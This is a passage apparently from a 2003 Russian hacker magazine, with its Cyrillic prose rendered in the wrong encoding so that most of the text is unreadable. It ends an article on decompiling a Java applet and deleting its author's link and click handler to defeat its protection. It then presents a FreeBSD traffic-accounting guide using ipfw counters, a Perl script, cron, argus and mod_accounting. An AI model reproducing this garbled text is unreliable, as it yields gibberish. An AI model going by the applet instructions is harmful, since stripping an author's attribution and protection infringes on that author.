66 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
êîîðäèíàòà ïî ãîðèçîíòàëè<br />
this$0.dragStartY = this$0.mouseY; // íà÷àëüíàÿ<br />
êîîðäèíàòà ïî âåðòèêàëè<br />
this$0.dragTracerX = 0; // îáíóëåíèå òðàåêòîðèè<br />
ïî ãîðèçîíòàëè<br />
this$0.dragTracerY = 0; // îáíóëåíèå òðàåêòîðèè<br />
ïî âåðòèêàëè<br />
this$0.dragStart = true; // âûñòàâëåíèå ôëàæêà<br />
}<br />
}<br />
Äîñòàòî÷íî óäàëèòü óñëîâíûé îïåðàòîð<br />
if(this$0.mouseY > this$0.AppletH - 24 &&<br />
this$0.mouseX < 120) è ïåðâóþ åãî âåòâü:<br />
public void mousePressed(MouseEvent<br />
mouseevent) {<br />
this$0.mouseX = mouseevent.getX();<br />
this$0.mouseY = mouseevent.getY();<br />
this$0.mousePressed = true;<br />
this$0.dragStartX = this$0.mouseX;<br />
this$0.dragStartY = this$0.mouseY;<br />
this$0.dragTracerX = 0;<br />
this$0.dragTracerY = 0;<br />
this$0.dragStart = true;<br />
}<br />
Ýòèì òû óáðàë ðåàêöèþ íà êëèê ìûøêîé ïî îáëàñòè,<br />
ãäå íàïèñàíà ññûëêà íà ñàéò àâòîðà. Òåïåðü<br />
íóæíî óäàëèòü ñàìó ññûëêó, êîòîðàÿ ïðîïèñàíà<br />
â Shifter.java â ìåòîäå paint():<br />
if(Zustand == 2) {<br />
osg2.drawImage(offscreenImage, 0, 0, this); //<br />
ïðîðèñîâêà èçîáðàæåíèÿ â áóôåðå<br />
osg2.setColor(FarbeLinien); // öâåò ðàìêè<br />
osg2.drawRect(0, 0, AppletW - 1, AppletH - 1); //<br />
ïðîðèñîâêà ðàìêè<br />
if(mouseY > AppletH - 24 && mouseX < 120) // åñëè<br />
êóðñîð íàõîäèòñÿ â ïðÿìîóãîëüíîé îáëàñòè<br />
120õ24 ïèêñåëîâ â ëåâîì íèæíåì óãëó<br />
osg2.setColor(Color.black); // òîãäà ññûëêà ïèøåòñÿ<br />
÷åðíûì öâåòîì<br />
else<br />
osg2.setColor(Color.gray); // èíà÷å ññûëêà ïèøåòñÿ<br />
ñåðûì öâåòîì<br />
osg2.drawString("http://www.eigelb.at", 10,<br />
AppletH - 10); // ïðîðèñîâêà ññûëêè<br />
g.drawImage(offscreenImage2, 0, 0, this); // ïðîðèñîâêà<br />
èçîáðàæåíèÿ èç áóôåðà<br />
}<br />
Îñòàâèòü íóæíî ñëåäóþùåå:<br />
if(Zustand == 2) {<br />
osg2.drawImage(offscreenImage, 0, 0, this);<br />
osg2.setColor(FarbeLinien);<br />
osg2.drawRect(0, 0, AppletW - 1, AppletH - 1);<br />
g.drawImage(offscreenImage2, 0, 0, this);<br />
}<br />
Âîò è âñå, çàùèòû êàê íå áûâàëî. Ñïîêîéíî êîìïè-<br />
×ÒÎ ÒÀÊÎÅ JAVA-ÀÏÏËÅÒ?<br />
ëèðóé èñõîäíèê â íîâûé àïïëåò. Åñëè ëåíèâî ïàêîâàòü<br />
â *.jar, òî â HTML-ôàéëå ïåðåïèøè ññûëêó<br />
íà . È<br />
âûëîæè âñå òðè êëàññà â òó æå äèðåêòîðèþ, ÷òî è<br />
HTML-ôàéë. Èãðàéñÿ íà çäîðîâüå :).<br />
ÅÙÅ ÏÐÈÌÅÐÛ<br />
ß ìîã áû ïðèâåñòè åùå äåñÿòêè ïðèìåðîâ, íî, ê<br />
ñîæàëåíèþ, ñòàòüÿ íå ðåçèíîâàÿ. Íàäåþñü, òû ïîíÿë<br />
îñíîâíûå ïðèíöèïû ñíÿòèÿ çàùèòû. À äàëüøå<br />
ïðàêòèêà, ïðàêòèêà è åùå ðàç ïðàêòèêà.<br />
ÐÅÑÓÐÑÛ<br />
Òåïåðü òåáå ñîâåðøåííî ïî áàðàáàíó, êàêèå è<br />
îòêóäà òÿíóòü àïïëåòû. Åñëè äàæå àïïëåò è "çàãàæåí",<br />
áåðåøü åãî çà íîãè êàê Áóðàòèíî, âûòðÿõèâàåøü<br />
èñõîäíèê è òî÷å÷íûì õèðóðãè÷åñêèì<br />
âìåøàòåëüñòâîì óäàëÿåøü íî÷íîé áðåä àâòîðà.<br />
Ñâîáîäó ïîïóãàÿì :). Âîò òåáå íàèáîëåå êðóïíûå<br />
çàëåæè àïïëåòîâ:<br />
http://javaboutique.internet.com<br />
http://freewarejava.com/applets<br />
http://javapowered.com<br />
http://javafile.com<br />
http://javascriptkit.com/java<br />
http://appletcollection.com<br />
P.S.<br />
<br />
Java-àïïëåò - ýòî ïðîãðàììêà, ðàáîòàþùàÿ â ñðåäå áðàóçåðà<br />
(çàïóñêàåòñÿ â îêíå áðàóçåðà). Ïðåäñòàâëÿåò îíà ñîáîé classôàéë<br />
(*.class), êîòîðûé ïîëó÷àåòñÿ ïîñëå êîìïèëÿöèè javaôàéëà<br />
(*.java), íàïèñàííîãî íà îáúåêòíî-îðèåíòèðîâàííîì<br />
ÿçûêå Java. Øèðîêîå ðàñïðîñòðàíåíèå àïïëåòû ïîëó÷èëè áëàãîäàðÿ<br />
ñâîåé îñîáåííîñòè: èñõîäíèê êîìïèëèðóåòñÿ â êîìàíäû<br />
âèðòóàëüíîé ìàøèíû Java (JVM, Java Virtual Machine), è<br />
ïîëó÷àåìûé áàéò-êîä íå çàâèñèò îò òèïà ïðîöåññîðà è àðõèòåêòóðû<br />
êîìïüþòåðà, íà êîòîðîì èñïîëíÿåòñÿ. Îò àðõèòåêòóðû<br />
çàâèñèò òîëüêî âèðòóàëüíàÿ ìàøèíà Java, êîòîðóþ ìîæíî íàäûáàòü<br />
íà ñàéòå ïðîèçâîäèòåëÿ (SUN Microsystems,<br />
http://java.sun.com) ñîâåðøåííî áåñïëàòíî äëÿ ëþáîé èç ñóùåñòâóþùèõ<br />
ñåãîäíÿ êîìïüþòåðíûõ ïëàòôîðì. Â ïîñëåäíèõ âåðñèÿõ<br />
áðàóçåðîâ óæå âñòðîåíà JVM äëÿ âûïîëíåíèÿ àïïëåòîâ,<br />
íî ïî óìîë÷àíèþ ìîæåò áûòü îïöèîíàëüíî îòêëþ÷åíà.<br />
Äðóãàÿ îñîáåííîñòü àïïëåòîâ - âñå ñòàíäàðòíûå ôóíêöèè, âûçûâàåìûå<br />
â ïðîãðàììå, ïîäêëþ÷àþòñÿ òîëüêî íà ýòàïå âûïîëíåíèÿ<br />
è íå âêëþ÷àþòñÿ â áàéò-êîä. Ýòà äèíàìè÷åñêàÿ êîìïîíîâêà,<br />
ñ îäíîé ñòîðîíû, ñèëüíî óìåíüøàåò îáúåì îòêîìïèëèðîâàííîé<br />
ïðîãðàììû, ÷òî áûëî è ïîêà åùå îñòàåòñÿ êðèòè÷íî<br />
äëÿ ñêîðîñòåé ïåðåäà÷è ïî èíåòó. Ýòî íåñîìíåííûé ïëþñ, íî,<br />
ñ äðóãîé ñòîðîíû, èíòåðïðåòàöèÿ áàéò-êîäà è äèíàìè÷åñêàÿ<br />
êîìïîíîâêà çíà÷èòåëüíî çàìåäëÿþò âûïîëíåíèå àïïëåòîâ.<br />
Ñïàñàåò áîëåå ìîùíûé ïðîöåññîð.<br />
 HTML-ôàéë àïïëåò âñòàâëÿåòñÿ â âèäå ññûëêè ñ ïîìîùüþ<br />
òåãîâ è , ìåæäó êîòîðûìè ñòàâÿòñÿ íåîáõîäèìûå<br />
ïàðàìåòðû àïïëåòà. Àïïëåò âûïîëíÿåòñÿ íà ñòîðîíå<br />
êëèåíòà. Êîãäà ïîëüçîâàòåëü îòêðûâàåò òâîþ ïàãó ñ àïïëåòîì,<br />
áðàóçåð çàãðóæàåò ôàéë êëàññà è çàïóñêàåò åãî íà êîìïüþòåðå<br />
ïîëüçîâàòåëÿ. Æàëêî, ÷òî âîçìîæíîñòè àïïëåòà â áðàóçåðå<br />
ñèëüíî îãðàíè÷åíû â öåëÿõ áåçîïàñíîñòè ;).<br />
Ëîìàòü àïïëåòû èíîãäà òðåáóåòñÿ íå òîëüêî äëÿ<br />
óñòðàíåíèÿ çàùèòû. Åñëè äàæå àïïëåò áåñïëàòíûé<br />
è íå ñîäåðæèò ïàêîñòíûõ âñòàâîê, èñõîäíèê<br />
ìîæåò ïîíàäîáèòüñÿ, ÷òîáû óñëîæíèòü çàäóìêè<br />
àâòîðà äëÿ ñâîèõ öåëåé èëè èñïîëüçîâàòü ãîòîâûå<br />
êóñêè êîäà â ñîáñòâåííûõ àïïëåòàõ. À ÷òåíèå<br />
è ðàçáîð ÷óæîãî êîäà - ñàìûé ýôôåêòèâíûé<br />
ñïîñîá áûñòðîìó îáó÷åíèþ ïðîãðàììèðîâàíèþ<br />
íà Java. Ýòèì çàíèìàþòñÿ äàæå<br />
ìàòåðûå ïðîãðàììåðû, ÷òîáû ïîâûøàòü<br />
ñâîè ïðîôíàâûêè. Äåðçàé!<br />
5 6 7 8 9<br />
Þíèêñîèä X-Ñòèëü Êîäèíã Þíèòû Quit> 67
ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />
Þíèêñîèä<br />
ÏÎÑËÅÄÍÈÉ ÎÒÑ×ÅÒ<br />
Äìèòðèé Äîêó÷àåâ aka Forb<br />
(forb@real.xakep.ru)<br />
Åñëè òåáÿ âîëíóåò êîëè÷åñòâî ìóñîðà, ïðîõîäÿùåãî<br />
÷åðåç òâîþ ìàøèíó (à, ìîæåò, òû ðàáîòàåøü<br />
àäìèíîì, è òîãäà òåáå ïðîñòî íåîáõîäèìà òàêàÿ<br />
èíôîðìàöèÿ), ýòà ñòàòüÿ äëÿ òåáÿ. Âïðî÷åì, äóìàþ,<br />
îíà áóäåò èíòåðåñíà ìíîãèì, âåäü âñå ìû -<br />
ïîëüçîâàòåëè èíåòà, ÷åñòíî îïëà÷èâàþùèå êàæäûé<br />
áàéò èñõîäÿùåãî òðàôèêà. ß ïîñòàðàëñÿ èçëîæèòü<br />
âñå òîíêîñòè, êîòîðûå ìîãóò òåáå ïðèãîäèòüñÿ<br />
ïðè ïîäñ÷åòå áàéòîâ íà òâîåé ìàøèíå. Â<br />
êà÷åñòâå ïîäîïûòíîé îñè ÿ âûáðàë FreeBSD, êàê<br />
íàèáîëåå çàùèùåííóþ è ïîïóëÿðíóþ ïëàòôîðìó.<br />
Òåì áîëåå, îïèðàÿñü íà ýòó ñòàòüþ, ìîæíî ëåãêî<br />
ïðîâåñòè ïàðàëëåëü ñ Linux, òåì ñàìûì óäîâëåòâîðèâ<br />
ïîòðåáíîñòè ëèíóêñîèäà.<br />
Âîîáùå, ïîäñ÷åò òðàôèêà ñâîäèòñÿ ê ïðîñòîìó ñíèôàíèþ<br />
ñåòåâîãî èíòåðôåéñà. Äëÿ ýòîãî ñóùåñòâóþò ñâîè ïðîãðàììû,<br />
èãðàþùèå ðîëü òàê íàçûâàåìûõ «ìèðíûõ ñíèôåðîâ».<br />
Íî âåñü òðàôèê íà ìàøèíå îáû÷íî ïåðåõâàòûâàåòñÿ<br />
ìîäóëåì ÿäðà, à èìåííî «ÿäåðíûì» ôàåðâîëîì ñèñòåìû.<br />
Äëÿ FreeBSD õàðàêòåðíî íàëè÷èå ìîäóëÿ ipfw.ko, ñ êîòîðûì<br />
òåñíî âçàèìîäåéñòâóåò /sbin/ipfw. Ïîýòîìó äëÿ ñàìîãî<br />
ðàçóìíîãî è ãèáêîãî ìåòîäà ïîäñ÷åòà òðàôèêà, íàì<br />
ïðèäåòñÿ ïðèáåãíóòü ê ïîìîùè ôàåðâîëà. Íà ìîé âçãëÿä,<br />
ýòî äîñòàòî÷íî íåñëîæíî, íî â êîíå÷íîì èòîãå âñå çàâèñèò<br />
îò ïîñòàâëåííîé íàìè çàäà÷è. Äîïóñòèì, íàì íóæíî<br />
ñ÷èòàòü âåñü âõîäÿùèé è èñõîäÿùèé òðàôèê. Ðåøåíèåì â<br />
äàííîì ñëó÷àå áóäåò äîáàâëåíèå â òàáëèöó äâóõ íîâûõ<br />
ïðàâèë, à èìåííî count âõîäÿùèõ è èñõîäÿùèõ ïàêåòîâ.<br />
Ýòî áóäåò âûãëÿäåòü ñëåäóþùèì îáðàçîì:<br />
[root@server root]# ipfw add 1 count ip from any to me<br />
[root@server root]# ipfw add 2 count ip from me to any<br />
Ñèíòàêñèñ ipfw î÷åíü ïðîñòîé, òû íàâåðíÿêà ïîéìåøü<br />
åãî, äàæå åñëè íèêîãäà íå ðàáîòàë ñ ýòèì ôàåðâîëîì.<br />
 ýòèõ äâóõ ïðàâèëàõ áóäåò õðàíèòüñÿ èíôîðìàöèÿ î<br />
íàáåæàâøèõ ïàêåòàõ, à èìåííî âåñü òðàôèê â áàéòàõ.<br />
Ðàçóìååòñÿ, òåáå íå íóæíî êîïèòü ýòè äàííûå â òåëå<br />
ïðàâèë. Ê ïðèìåðó, ïóñòü ýòà èíôîðìàöèÿ çàïèñûâàåòñÿ<br />
êàæäûé äåíü â ñïåöèàëüíûé ôàéë, à çàòåì îáíóëÿåòñÿ.<br />
Îáíóëåíèå âîçìîæíî ñ ïîìîùüþ êîìàíäû<br />
/sbin/ipfw zero, êîòîðàÿ âûñòàâèò â òåëî êàæäîãî countïðàâèëà<br />
íóëåâîå çíà÷åíèå. Ïîïðîáóåì íàïèñàòü Perlñêðèïò<br />
äëÿ âûâîäà òðàôèêà â óäîáî÷èòàåìîé ôîðìå,<br />
Ïîñëåäíèé îòñ÷åò<br />
Ïîäñ÷èòûâàåì òðàôèê ÏÐÀÂÈËÜÍÎ!<br />
òåì ñàìûì îáëåã÷èâ ñåáå æèçíü (âåäü àíàëèçèðîâàòü<br />
äàííûå â áàéòàõ äîâîëüíî ñëîæíî).<br />
#!/usr/bin/perl<br />
## Traffic count script<br />
$param=shift; # Õâàòàåì ïàðàìåòð èç êîìàíäíîé<br />
ñòðîêè<br />
if ($param eq ‘-z’) { exit `ipfw zero` } ## Åñëè îí<br />
-z - ÷èñòèì ïðàâèëà<br />
mwrite(count(1),count(2)); ## Âûïîëíÿåì ïîäñ÷åò<br />
sub count {<br />
my($num)=shift;<br />
(undef,undef,$res)=split(‘ ‘,`/sbin/ipfw show $num`);<br />
## Âûäåëÿåì áàéòû èç ïðàâèë ôàåðâîëà<br />
return $res;<br />
}<br />
sub mwrite {<br />
my(@params)=@_;<br />
foreach $num (@params) {<br />
if (@params[0] eq $num) { $what = ‘IN:’ } else {<br />
$what = ‘OUT:’ } ## Êàêîé òðàôèê ñ÷èòàåì?<br />
Ëîâèì ïàêåòû íà óðîâíå ÿäðà<br />
if (length $num < 4) { $count = 0; $pref=’’ } ##<br />
Åñëè äëèíà ÷èñëà ìåíüøå ÷åòûðåõ - ýòî áàéòû<br />
if (length $num > 3 && length $num < 7) { $count<br />
= 1; $pref=’k’ } ## Åñëè îò 5 äî 6 - êèëîáàéòû<br />
if (length $num > 6 && length $num < 10) { $count<br />
= 2; $pref=’m’ } ## Ìåãàáàéòû<br />
if (length $num >= 10) {$count = 3; $pref=’g’ }<br />
## Ãèãàáàéòû<br />
for(1..$count) { $num = $num / 1024 } ## Âûïîëíèì<br />
äåëåíèå íà 1024 äëÿ âûÿñíåíèÿ òðàôèêà<br />
$num=sprintf(«%.2f»,$num); ## È îêðóãëèì äî<br />
äâóõ ÷èñåë ïîñëå çàïÿòîé<br />
print «$what $num $pref»,»bytes\n»; ## Âûâîäèì<br />
ðåçóëüòàò<br />
}<br />
}<br />
Âîò ýòîò ìàëåíüêèé ñêðèïò áóäåò âûäàâàòü òåáå çíà÷åíèÿ<br />
òåêóùåãî òðàôèêà. Íî ïîìíèøü, ÿ óïîìÿíóë îá îáíóëåíèè<br />
ïðàâèë ïî èñòå÷åíèè ñóòîê? È íå íàäåéñÿ, ÷òî<br />
ÿ áóäó òåáå ðàñïèñûâàòü åæåäíåâíûé äàìï ñòàòèñòèêè<br />
â ôàéëàõ - ýòî òû ñäåëàåøü ñàì, áëàãî îïûòà ó òåáÿ<br />
óæå ìíîãî. À âîò îòïðàâêó íà ìûëî, îïòèìàëüíûé è ñàìûé<br />
ëåãêèé âàðèàíò, ÿ ïðåäóñìîòðåë. Äëÿ ýòîãî òåáå<br />
ïîòðåáóåòñÿ íàêàòàòü åùå îäèí ñêðèïò sendstat.sh, íà<br />
ýòîò ðàç íà ÿçûêå sh.<br />
1 2 3 4<br />
68 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
#!/bin/sh<br />
/root/trafstat/stat.pl | mail -s ‘Traffic statistic’<br />
root@localhost<br />
/root/trafstat/stat.pl -z<br />
Êàê òû óæå ïîíÿë, çàäà÷à ýòîãî ñêðèïòà - âûïîëíèòü ïîäñ-<br />
÷åò ñòàòèñòèêè çà äàííûé ïåðèîä è íàìûëèòü åãî ðóòó. Çàòåì<br />
åùå ðàç çàïóñòèòü ýòîò æå ñêðèïò, íî ñ ïàðàìåòðîì -<br />
z, ÷òîáû ñáðîñèòü ñ÷åò÷èêè íà ïðàâèëàõ. Çàäóìàåìñÿ íàä<br />
âîïðîñîì, êàê è êîãäà çàïóñêàòü ýòîò sh’øíûé ñêðèïò. Âñå<br />
ïðîñòî! Íà ïîìîùü ïðèäåò cron, â êîòîðîì íóæíî çàäàòü<br />
ïðàâèëî, êîòîðîå áóäåò âûïîëíÿòüñÿ â 23:59 êàæäûé<br />
äåíü. ß íàäåþñü, òû ðàáîòàë ñ êðîíîì. Åñëè íåò, òî ñëóøàé<br />
ñþäà :). Âûïîëíè êîìàíäó crontab -e ïîä ðóòîì (èíà-<br />
÷å ñêðèïò ïðîñòî íå ñìîæåò îáðàòèòüñÿ ê ôàåðâîëó). Òàêèì<br />
îáðàçîì òû âîéäåøü â ñðåäó vi ðåäàêòîðà. Òàì íàæèìàåøü<br />
«i», òåì ñàìûì âîéäÿ â ðåæèì âñòàâêè (INSERT), è<br />
âïèñûâàåøü ñëåäóþùóþ ñòðîêó:<br />
59 23 * * * /root/trafstat/sendstat.sh >/dev/null 2>&1<br />
Çàòåì êîððåêòíî âûõîäèì êîìáèíàöèåé êëàâèø: ESC,<br />
:wq, Enter. Âíèìàíèå, íà sendstat.sh íå çàáóäü óñòàíîâèòü<br />
àòðèáóò 755, èíà÷å âñå òâîè óñèëèÿ ïðîïàäóò äàðîì.<br />
>/dev/null 2>&1 - íå êàêèå-òî ìàðñèàíñêèå çíàêè,<br />
êîòîðûå èíîãäà îòáðàñûâàþò, ìîòèâèðóÿ òåì, ÷òî<br />
íå çíàþò, ÷òî îíè îçíà÷àþò :). Ýòî íåîáõîäèìî, ÷òîáû<br />
STDOUT è STDERR ïðè âûïîëíåíèè ñêðèïòà íå óõîäèëè<br />
íà ìûëî ðóòó. Çà÷åì òåáå ëèøíèé ëîêàëüíûé ñïàì?<br />
Åãî õâàòàåò èç ãëîáàëà...<br />
Ñ÷èòàåì âíåøíèìè ïðîãðàììàìè<br />
Åñëè âäðóã òàê ñëó÷èëîñü, ÷òî ïî êàêèì-òî ïðè÷èíàì çàþçàòü<br />
ipfw òû íå ìîæåøü (êàê áûëî ó ìåíÿ íà FreeBSD<br />
4.3, êîãäà èç-çà ipfw ìàøèíà çàãàäî÷íî ïîäâèñàëà ê ïîëóíî÷è),<br />
ìîæåøü äîâåðèòü ïîäñ÷åò òðàôèêà âíåøíèì<br />
ñîôòèíàì. Êàê ÿ óæå ñêàçàë, áàíàëüíîå ñíèôàíèå ñåòåâîãî<br />
èíòåðôåéñà ïîìîãàåò äîñòè÷ü íóæíîãî ðåçóëüòàòà<br />
â ïîäñ÷åòå òðàôèêà. Åñëè æå òû âèðòóîç, ìîæåøü çàþçàòü<br />
äàæå tcpdump è ïàðñèòü èç íåãî ñóììàðíóþ ñòàòèñòèêó<br />
:), íî åñòü ñîôòèíû, êîòîðûå ïðîäåëàþò ýòó<br />
ãðÿçíóþ ðàáîòó çà òåáÿ. ß äîëãî îïðåäåëÿëñÿ, êàêîé<br />
ñîôò âûáðàòü, è ðåøèë îñòàíîâèòüñÿ íà argus. Èñïûòûâàåìàÿ<br />
âåðñèÿ - 2.0.5. Íåäîëãî äóìàÿ, ñëèâàåì ýòî òâîðåíèå<br />
ïî ññûëêå http://qosient.com/argus/src/argus-<br />
2.0.5.tar.gz. Ðàñïàêîâûâàåì, êîíôèãóðèì, ñîáèðàåì.<br />
Âñå êàê îáû÷íî, íè÷åãî íîâîãî. Çàòåì íàñòóïàåò èíòåðåñíàÿ<br />
ïðîöåäóðà ðåäàêòèðîâàíèÿ argus.conf. Âîò òàê<br />
âûãëÿäèò ìîé êîíôèãóðàöèîííûé ôàéë:<br />
ARGUS_DAEMON=yes<br />
ARGUS_BIND_IP=»»<br />
ARGUS_INTERFACE=»fxp1»<br />
ARGUS_OUTPUT_FILE=/usr/local/argus/argus.out<br />
ARGUS_SET_PID=yes<br />
ARGUS_GO_PROMISCUOUS=yes<br />
ARGUS_FLOW_STATUS_INTERVAL=30<br />
ARGUS_MAR_STATUS_INTERVAL=60<br />
ARGUS_DEBUG_LEVEL=0<br />
Ñòàòèñòèêà argus äëÿ âñåõ ïðîòîêîëîâ<br />
ARGUS_GENERATE_RESPONSE_TIME_DATA=no<br />
ARGUS_GENERATE_JITTER_DATA=no<br />
ARGUS_GENERATE_MAC_DATA=no<br />
ARGUS_CAPTURE_DATA_LEN=0<br />
ARGUS_FILTER_OPTIMIZER=yes<br />
ARGUS_FILTER=»»<br />
Íåáîëüøèå êîììåíòàðèè ê íàñòðîéêå äëÿ ïîíèìàíèÿ<br />
òîãî, êàê âñå ðàáîòàåò:<br />
ARGUS_DAEMON: ýêâèâàëåíòíî ïàðàìåòðó -d ê áèíàðíèêó<br />
argus, çàïóñêàåò åãî â êà÷åñòâå äåìîíà, ðåêîìåíäóþ<br />
ïîñòàâèòü;<br />
ARGUS_BIND_IP: ìîæíî ïðè æåëàíèè ïðèáèíäèòü<br />
àðãóñ ê îïðåäåëåííîìó ip-àäðåñó, äåëàÿ ïðèëîæåíèå<br />
ãèáêèì è óäîáíûì äëÿ ïîëüçîâàòåëÿ.  ìîåì ñëó÷àå -<br />
íåò ÿâíîãî ïðèêðåïëåíèÿ;<br />
ARGUS_INTERFACE: ïàðàìåòð ïðîñëóøèâàåìîãî èíòåðôåéñà,<br />
òàê êàê ó ìåíÿ FreeBSD, ÿ óñòàíîâèë åãî íà<br />
ãëîáàëüíûé fxp1;<br />
ARGUS_OUTPUT_FILE: ïóòü ê ôàéëó, â êîòîðîì áóäóò<br />
ñâåäåíèÿ î òðàôèêå, çàñíèôàííîì àðãóñîì (âïîñëåäñòâèè<br />
òóëçû àðãóñà áóäóò îáðàùàòüñÿ ê ýòîìó ôàéëó);<br />
ARGUS_SET_PID: ñîçäàâàòü pid ôàéë äëÿ êîíòðîëÿ<br />
íàä àðãóñîì;<br />
ARGUS_GO_PROMISCUOUS: îïöèÿ äëÿ òàê íàçûâàåìîãî<br />
ñìåøàííîãî ðåæèìà èíòåðôåéñà. Óñòàíàâëèâàåòñÿ<br />
äëÿ êîððåêòíîãî ñáîðà òðàôèêà.<br />
ß ïðèâåë íàèáîëåå âàæíûå îïöèè ñ èõ îïèñàíèÿìè.<br />
Äëÿ áîëåå ïîëíîãî îïèñàíèÿ ýòèõ è äðóãèõ ïàðàìåòðîâ<br />
- man argus.conf. Ïîñëå ñîñòàâëåíèÿ êîíôû ìîæíî<br />
ñòàðòîâàòü argus. Ïî óìîë÷àíèþ îí áóäåò íàõîäèòüñÿ â<br />
/usr/local/sbin/argus. Ïîñëå çàïóñêà íå æäè íè÷åãî íîâîãî,<br />
òåáÿ áóäåò æäàòü òîëüêî ñîîáùåíèå î (íå)óñïåøíîì<br />
çàïóñêå äåìîíà. Îò òåáÿ òðåáóåòñÿ ëèøü îáåñïå-<br />
÷èòü àâòîçàãðóçêó äåìîíà ïîñëå ðåáóòà ñèñòåìû. Äàëåå<br />
òåáå íóæíî îñâîèòü ôóíêöèè âàæíûõ áèíàðíèêîâ îò<br />
argus. Ýòî, â ïåðâóþ î÷åðåäü, racount, êîòîðûé âûâîäèò<br />
ïîäðîáíóþ ñòàòèñòèêó â áàéòàõ äëÿ âñåõ ïðîòîêîëîâ.<br />
Âûãëÿäèò ýòî ïðèìåðíî ñëåäóþùèì îáðàçîì:<br />
[root@stat argus]# racount -r<br />
/usr/local/argus/argus.out<br />
racount records total_pkts src_pkts<br />
dst_pkts 7296 208963 101067<br />
total_bytes src_bytes dst_bytes sum<br />
107896 101305772 12228304 89077468<br />
Íåò, ÿ íå îãîâîðèëñÿ ïðî ïðîòîêîëû :). Èñïîëüçóé êëþ-<br />
÷èê -a, ÷òîáû âûâåñòè ñòàòèñòèêó ïî êàæäîìó ïðîòîêîëó,<br />
à èìåííî tcp, udp, icmp, arp, non-ip è sum. Êàê ïåðåâîäèòü<br />
èç áàéòîâ â ìåãà/ãèãàáàéòû, ÿ íàäåþñü, òû<br />
çíàåøü.  êà÷åñòâå ó÷åáíèêà ìîæåøü èñïîëüçîâàòü<br />
ñêðèïò, êîòîðûé ÿ îïèñûâàë ÷óòü âûøå.<br />
Óòèëèòû ramon, ra è rasort âûâîäÿò ïîäðîáíûé îò÷åò ïî<br />
êàæäîìó çàïðîñó ê ñåðâåðó. Ýòî ìîæåò ïîñëóæèòü ëåãêèì<br />
èíñòðóìåíòîì äëÿ ñîñòàâëåíèÿ ëîã-ôàéëîâ íà<br />
ðàçíûé âêóñ è öâåò. Êîíêðåòíî ïî òóëçàì:<br />
5 6 7 8<br />
Þíèêñîèä X-Ñòèëü Êîäèíã
ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />
Þíèêñîèä<br />
ÏÎÑËÅÄÍÈÉ ÎÒÑ×ÅÒ<br />
Äìèòðèé Äîêó÷àåâ aka Forb<br />
ramon - âûâîäèò âñå îáðàùåíèÿ ê èíòåðôåéñó, ñèíòàêñèñ<br />
ramon -M ðåæèì -r ôàéë, ãäå ðåæèì ìîæåò áûòü<br />
TopN èëè Matrix, à ôàéë - data-ôàéë àðãóñà. Ýòà ïðîãðàììà<br />
ïîõîæà íà ðàáîòó top (òî åñòü îòñëåæèâàíèå ïàêåòîâ<br />
â real-time);<br />
ra - ðàáîòàåò êàê ramon, òîëüêî â êîíöå âûâîäèò ñòàòèñòèêó<br />
ïàêåòîâ (êàê racount). Èñïîëüçóé êëþ÷èê -n, ÷òîáû<br />
íå ðåçîëâèòü ip-àäðåñà (ðàáîòàåò íàìíîãî áûñòðåå);<br />
rasort - ïîçâîëÿåò ñîðòèðîâàòü çàïðîñû ïî îïðåäåëåííîìó<br />
ïîëþ (òèï ïàêåòà, dst, src, ïðîòîêîë). Èíîãäà<br />
áûâàåò ïîëåçíîé.<br />
Âîò îñíîâíûå óòèëèòû, êîòîðûå ìîãóò òåáå ïîíàäîáèòüñÿ.<br />
×òî äàëüøå? Äàëüøå íà âûáîð: ëèáî òû îáðàùàåøüñÿ<br />
ê racount çà äàííûìè äëÿ ñòàòèñòèêè, ëèáî<br />
äàìïèøü ýòè äàííûå åæåäíåâíî, íàïðèìåð, â sql-áàçó.<br />
Êàê ýòî ñäåëàòü, ÿ äóìàþ, òû ñîîáðàçèøü áåç ìîåé ïîìîùè<br />
è ãèáêî âñå íàñòðîèøü. ß ëèøü ïîìîãàþ òåáå â<br />
âåðíîì âûáîðå ñîôòà.<br />
Ñ÷èòàåì òðàôèê ïî WEB’y<br />
Ìîæåò âîçíèêíóòü ñèòóàöèÿ, êîãäà òû äåðæèøü êðóïíûé<br />
õîñòèíã, è íåîáõîäèìî ñ÷èòàòü òðàôèê ïî êàæäîìó<br />
âèðòóàëüíîìó õîñòó îòäåëüíî. Ñ÷èòàòü òðàôèê ïî 80<br />
ïîðòó - íå âûõîä èç ñèòóàöèè, òàê êàê âåñü web-òðàôèê<br />
áóäåò íåâîçìîæíî îòñîðòèðîâàòü ïî îòäåëüíûì õîñòàì.<br />
Âîçìîæíû äâà ðåøåíèÿ ýòîé íåñëîæíîé çàäà÷è:<br />
1) Óñòàíîâèòü ìîäóëü äëÿ httpd, êîòîðûé áóäåò áðàòü<br />
äàííûå «íà ëåòó».<br />
2) Ïàðñèòü access_log è îñóùåñòâëÿòü ïîäñ÷åò òðàôèêà.<br />
Ðàññìîòðèì îáà âàðèàíòà, ÷òîáû ïîêàçàòü, ÷òî çàäà÷à<br />
ðåøàåòñÿ äîâîëüíî ïðîñòî. Êîíå÷íî, ëó÷øå èñïîëüçîâàòü<br />
ïåðåõâàò ïàêåòîâ ñàìèì httpd, à òî÷íåå åãî ìîäóëåì,<br />
à åùå òî÷íåå mod_accounting =). Ñêà÷àòü åãî ìîæíî<br />
îòñþäà: http://easynews.dl.sourceforge.net/sourceforge/mod-acct/mod_accounting-0.5.tar.gz.Ðàñïàêîâûâàåì<br />
è ïåðâûì äåëîì ïðàâèì Makefile. Òåáå íóæíî<br />
âûáðàòü, êàêóþ ÁÄ èñïîëüçîâàòü äëÿ õðàíåíèÿ òðàôèêà:<br />
mysql èëè postgres. ß èñïûòûâàë íà mysql-áàçå, íî,<br />
äóìàþ, ïðèíöèïèàëüíîé ðàçíèöû íåò. Åñëè ó òåáÿ òîæå<br />
mysqld, óäàëè ôëàã -DNEED_POSTGRES, óñòàíîâè -<br />
DNEED_MYSQL è óêàæè ïóòè ê áèíàðíèêàì apachectl è<br />
axps. Çàòåì óáåäèñü, ÷òî òâîé httpd áûë ñêîìïèëåí ñ<br />
îïöèåé —enable-module=so, ïîçâîëÿþùåé äîáàâëÿòü<br />
ñâîè ìîäóëè ê httpd, ÷òî ìû, ñîáñòâåííî, è áóäåì äåëàòü<br />
ñëåäóþùèì øàãîì. Ñîáåðè ìîäóëü, à çàòåì îáðàòè<br />
